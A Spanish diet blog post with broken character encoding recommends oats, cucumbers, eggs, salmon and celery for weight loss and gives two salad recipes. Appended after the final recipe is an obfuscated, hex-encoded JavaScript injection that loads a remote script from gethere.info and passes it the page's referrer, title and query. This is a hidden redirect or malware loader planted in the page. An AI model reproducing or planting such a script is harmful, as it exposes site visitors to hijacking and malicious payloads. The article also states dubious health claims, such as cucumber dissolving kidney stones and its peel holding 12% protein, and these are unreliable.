5 comidas saludables para bajar de peso

Cuando estasAi?? a dieta es muy importante que consumas comidas saludables para bajar de peso, sin embargo siempre tienes antojos de comer algo diferente, pero la mayorAi??a de los alimentos que catalogamos como sabrosos son perjudiciales (hamburguesas, papas fritas, refrescos entre otros) y en ocasiones nos cohibimos aunque tambiAi??n llegamos a romper la dieta ya que no encontramos como calmar la ansiedad por estas comidas.

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AquAi?? te ofrecemos algunas opciones de comidas saludables para bajar de pesoAi??que puedes implementar o aAi??adir a la hora de la dieta, ademA?s te damos varios tips de como preparar dos ensaladas variadas, ricas pero sobre todo saludables y son una excelente opciA?n sin tener que romper con tu dieta. Es por eso que dietasparaaadelgazarte.com te trae algunos consejos de comidas saludables para bajar de peso Ai??y tonificarte.

Comidas saludables para bajar de peso

 
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1) Avena

Pocos alimentos pueden ser tan saludables como lo es la avena. Es un regulador metabA?lico, depurara todo aquello toxico de nuestro organismo y ademA?s cubrirA? carencias. Cuida el corazA?n, intestino y lo mA?s importante que nos ayuda a bajar de peso. A?Quieres saber como? Pues de modo natural, perdiendo peso sin sufrir demasiado, y aun menos, pasar hambre.

Basta con tomar una infusiA?n de avenas en ayuda baja el colesterol. Pues sus aceites ricos en omega y acido linoleico, constituyen las grasas buenas, capaces de eliminar el colesterol malo y asAi?? cuidar las arterias y demA?s A?rganos diana. Es depurativa, contiene dos aminoA?cidos como la lecitina en el hAi??gado, pues limpiara las paredes de las arterias evitando el taponamiento de colesterol, arrastrando gracias a las fibras los depA?sitos de grasa que se forman en ella.

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Adelgaza naturalmente con agua de avena

A?Cada cuanto la puedes tomar?

Toma agua de avenas todos los dAi??as en ayuna durante un mes seguido. PermitirA? estar saciada durante toda la maAi??ana dA?ndote energAi??a y fibras que requieres durante todo el dAi??a. TambiAi??n puedesAi??tomar un vaso antes de tus comidas principales como el almuerzo.

A?CA?mo puedes tomarla?comidas saludables para bajar de peso

A? taza de avena, agrega canela y 1 taza de avena

Licua hasta hacer una mezcla homogAi??nea, agrAi??gale la canela y el endulzante que desees o dos cucharadas de miel, colA?calo en el refrigerador, asAi?? tendrA?s para todo el dAi??a. Puedes empezar la maAi??ana con un vaso de agua con avena Ai??tambiAi??n es ideal beberla durante las comidas te ayudara a estar saciada y nutrida.

Desayuno: puedes implementar un vaso de agua de avena, y una manzana.

Almuerzo 1 vaso de agua de avena como bebida. Ensaladas de Espinacas con espA?rragos, nueces y pechuga de pavo

Merienda. Te verde como implemento

Cena: un vaso de agua de avena, berenjenas al horno, y de postre una manzana asada con canela.

Esta es perfecta para desayunar, el desayuno es la comida mA?s importante del dAi??a, le da el impulso al metabolismo para que actuara de manera correcta durante todo el dAi??a. Solo necesitas el desayuno ideal. La avena es la opciA?n ideal para los aficionados al ejercicio, tienen propiedades y una combinaciA?n perfecta que te llenan de energAi??a durante todo el dAi??a. Es rica en fibras, la cual es excelente para la digestiA?n Ai??y te ayuda a controlar el apetitoAi?? de forma natural, asAi?? que no te preocupes por comer mA?s de estas comidas saludables para bajar de peso.

Como puedes ver, la importancia de empezar el dia con un vaso de agua de Ai??avena e incluirla en tus comidas favoritas siempre de manera equilibradas sin cometer excesos que no te favorecen. Si la consumes durante un mes, comprobaras como puedes bajar de peso.

TambiAi??n puedes leer Excelente Ai??plana alimentario para bajar de pesoAi??rapido

2) Pepinos

Es la cuarta hortaliza mas cosechada en el mundo, es nutritivo y bueno para la salud. Contiene un 90% de agua, de hecho el consumo regular del pepino puede disolver cA?lculos renales. Para que el efecto sea mA?s efectivo, se puede combinar con espinaca y zanahoria en un rico jugo, sin quitarle la corteza, puesta contiene 12 % de proteAi??nas que debemos consumir a diario.comidas saludables para bajar de peso y adelgazar

Posee vitamina A, C y K, minerales como calcio, magnesio, cobre, hierro, fosforo y zinc. Es ideal para un buen plan de adelgazamiento, rico en fibras y muy bajo en grasa, ayuda a disminuir la cintura. AAi??A?delos a tus ensaladas favoritas con un toque de aceite de oliva.

El juego de pepino es ideal para bajar de peso, por el gran contenido de agua que esta posee, proporciona los electrolitos necesarios, restablece la hidrataciA?n de las cAi??lulas del cuerpo, y mantiene la sensaciA?n de plenitud durante mA?s tiempo. Se usa frecuentemente en la limpieza del organismo, pudiAi??ndose beber solo o mezclado con otras diversas verduras.

3) Huevos

Es un ingrediente bA?sico en nuestra alimentaciA?n, juega un importante papel en la dieta, es el ingrediente bA?sico en la cocina de alto valor nutritivo apetecible gastronA?micamente. perder pesoEl huevo, aproximadamente un 30% de su peso esta constituido por la yema, 60% por la clara y 10% por la cascara. Los componentes nutricionales estA?n heterogAi??neamente repartidos existiendo importantes diferencia entre la yema y la clara. La grasa y algunos micronutrientes se encuentran en la yerma. La clara, sin embarga esta constituida por 88 % de agua y 11 % de proteAi??nas EstA?n repletos de proteAi??nas vitaminas y minerales, siendo la ovoalbA?mina la mas importante. La leucina uno de losAi?? aminoA?cidos que se encuentra en los huevos, es excelente para perder peso. Ayuda a mantener el musculo, permite que la grasa se queme. Le puedes agregar champiAi??ones y pimentA?n para crear una rica tortilla llena de proteAi??nas, carbohidratos fibrosos importantes.

4) SalmA?n

Es uno de esos alimentos que estA?n en lista sobre alimentos saludables. Este adlgazar
tipo de pescado rico en proteAi??nas grasas saludables, ademA?s de otros nutrientes necesarios como el yodo. TambiAi??n no podemos obviar esta variedad deAi??pescados importantes para la alimentaciA?n saludable como la trucha, las sardinas, los arenques. Al igual que los huevos cumplen con la combinaciA?n mA?gica para adelgazar, llena mucho, pero engorda poco.

5) Apio

Ayuda a bajar el colesterol, utilizado como supresor en el apetito y es bajo en calorAi??as y rico en fibras. El zumo que este contiene es un gran antiinflamatorio y ayuda a desintoxicar el organismo, posee un efecto diurAi??tico, eliminado lAi??quidos y toxinas, aumentando el transito intestinal.

Prepara en una olla 1 litro de agua, aAi??ade un ramo de apio, dos manzanas grandes y deja que hierva, hasta que estAi??n blandos los ingredientes. Cuela el liquido y guA?rdalo en la nevera, toma una taza de caldo cada media hora antes de cada comida durante tres dAi??as, lo puedes consumir las veces que quieras. Te ayudara a desinflamar y a perder lAi??quidos acumulados, empezaras ver resultados, durante varias semanas.

Ensalada de melocotA?n y frutos secos:

Esta es una ensalada caracterizada por ser dulce salada y muy saludable con el contenido de sus ingredientes y lo que aportan a nuestro organismo.

Ingredientes para la ensalada

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  • Dos cascos de melocotA?n preferiblemente melocotones en almAi??bar y sin corazA?n.
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  • 150 gramos de lechuga limpia
  • 100 gramos de proteAi??na (pollo, salmA?n)
  • AderezA? de mostaza dulce
  • Queso de cabra o queso mozarela(opcional)
  • Nueces o almendras

Ingredientes del aderezo mostaza dulce:

  • 300 gramos de miel pura de abejas
  • 300 gramos de mostaza
  • 150 ml de aceite de oliva extra virgen
  • 200 ml de almAi??bar de melocotA?n
  • Sal y pimienta al gusto.

La preparaciA?n del aderezo: para la preparaciA?n del aderezA? colocamos en un recipiente limpio unos 300 gramos de mostaza, luego le colocamos 150 ml de aceite de oliva extra virgen y mezclamos hasta que estAi??n perfectamente diluidos, posteriormente le agregamos el almAi??bar de melocotA?n y mezclamos por unos 5 minutos al momento de agregar la miel debemos ir mezclando a medida que se agrega para que no quedenAi?? mal diluidas, cuando obtengamos una mezcla homogAi??nea le agregamos la sal y la pimienta.

Este aderezA? tiene una vida media de consumo de hasta 20 dAi??as bien refrigerado. No dejar congelar ni dejar afuera de la nevera por mas de 4 horas.

Ya teniendo el aderezA? procederemos a realizar la rica ensalada:

En un plato preferiblemente hondo agregamos primeramente la lechuga, encima se colocan los frutos secos (si le colocamos nueces preferiblemente tiene que estar cortadas en pedazos de menos de 0.5 cm) si contamos con alguna proteAi??na se coloca en porciones no mayores a 100 gramos, al momento de colocar el aderezA? puedes agregarles 5 rallas de aderezo de mostaza dulce por ultimo colocamos los melocotones cortado en rodajas o cuadritos con el queso. Esta deliciosa ensalada puede ser un excelente almuerzo en tu casa o una cena. AcompaAi??ada con una rica bebida natural, jugos o agua.

Lo que hace que esta ensalada sea tan buena son sus ingredientes y los beneficiosos que son en el organismo

Ensalada de arroz manzana verde y ajonjolAi??:

esta ensalada queda con un sabor agridulce delicioso y el ajonjolAi?? le mezcla muy bien.

Ingredientes:a

  • 2 tazas de arroz blanco de grano grande
  • 3 tazas de jugo de manzana verde puede ser de cartA?n o de lata
  • 1 taza de agua
  • A? cucharadita de sal
  • 1 cuchara de aceite de oliva
  • A? taza de ajonjolAi??

Tiempo de cocciA?n 30 minutos

PreparaciA?n: en una olla colocar el aceite, las dos tazas de arroz, y revolver luego echar las tres tazas de jugo de manzana verde y la taza de agua la media cucharadita de sal y dejar secar a fuego lento cuando salgan las burbujas tapar y dejar a fuego muy bajo como el arroz comA?n.

Aparte en un sartAi??n dorar las semillas de ajonjolAi?? solas, sin nada y rA?pidamente revolviendo con una cuchara de palo, ya que tienden a dorarse muy rA?pido y se pueden quemar.

Cuando estAi?? listo el arroz y se valla a servir se vierte en una vasija de vidrio se vierte con las semillas de ajonjolAi?? y estA? listo para servir a la mesa.var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

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